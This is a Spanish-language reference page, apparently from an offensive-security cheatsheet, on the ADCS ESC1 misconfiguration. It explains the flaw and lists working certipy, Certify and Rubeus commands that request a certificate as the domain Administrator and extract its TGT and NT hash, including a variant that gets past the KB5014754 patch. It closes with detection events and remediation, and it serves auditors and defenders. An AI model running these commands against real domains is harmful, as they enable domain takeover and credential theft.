the_open_door
café
ESEN
← Volver al índice

ADCS ESC1 (Arbitrary SAN)

ATT&CKT1649
Arsenal completo de comandos en la cheatsheet

ESC1 es la mala configuración más habitual de Active Directory Certificate Services (ADCS): una plantilla de certificado que deja que cualquier usuario pida un certificado indicando a nombre de quién lo quiere. Con eso, un usuario sin privilegios obtiene un certificado como el Administrador del dominio y se autentica como él.

En qué se basa. La plantilla vulnerable cumple tres condiciones a la vez: (1) permite la inscripción a usuarios de bajo privilegio, (2) tiene activada la opción Enrollee supplies subject (flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT), que deja que el solicitante ponga el SAN que quiera, y (3) incluye un EKU de autenticación de cliente. Al pedir el certificado con -upn administrator@dominio, el DC acepta ese SAN y emite un certificado válido para autenticarse como ese usuario por PKINIT.

Cómo se ejecuta. certipy localiza las plantillas vulnerables, solicita el certificado y lo usa para sacar el TGT y el hash NT:

certipy find -u <user>@<domain> -p <pass> -dc-ip <ip> -vulnerable -stdout
certipy req -u <user>@<domain> -p <pass> -ca <CA> -template <PlantillaVuln> -upn administrator@<domain>
certipy auth -pfx administrator.pfx -dc-ip <ip>

certipy auth devuelve un TGT de Administrator y, de paso, su hash NT, con lo que ya se puede hacer Pass-the-Hash o DCSync.

En Windows, con Certify y Rubeus:

Certify.exe find /vulnerable
Certify.exe request /ca:<CA> /template:<VulnTemplate> /altname:administrator
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pass> /ptt

En dominios con el parche de mayo de 2022 (KB5014754) hay que fijar también el SID de la víctima:

certipy req -u <user>@<domain> -p <pass> -ca <CA> -template <PlantillaVuln> -upn administrator@<domain> -sid <admin-sid>

Frente a otros ESC. A diferencia de ESC9 (que abusa del mapeo débil de certificados), ESC1 es un fallo puro de la plantilla: el atacante elige el sujeto. Es el primero que se busca en cualquier auditoría de ADCS y suele combinarse con coacción para atacar el DC.

Cómo detectarlo. Vigilar en la CA los eventos de solicitud/emisión de certificados (Event ID 4886 y 4887) cuyo SAN no coincide con el solicitante, y las autenticaciones PKINIT (4768 con información de certificado) para cuentas privilegiadas desde equipos inusuales. certipy deja además rastro de enumeración de plantillas por LDAP.

Defensa. Quitar la opción Enrollee supplies subject, restringir quién puede inscribirse, exigir aprobación del gestor de la CA y aplicar el mapeo fuerte de certificados (KB5014754). Relacionado con Shadow Credentials, que también termina en un TGT por PKINIT.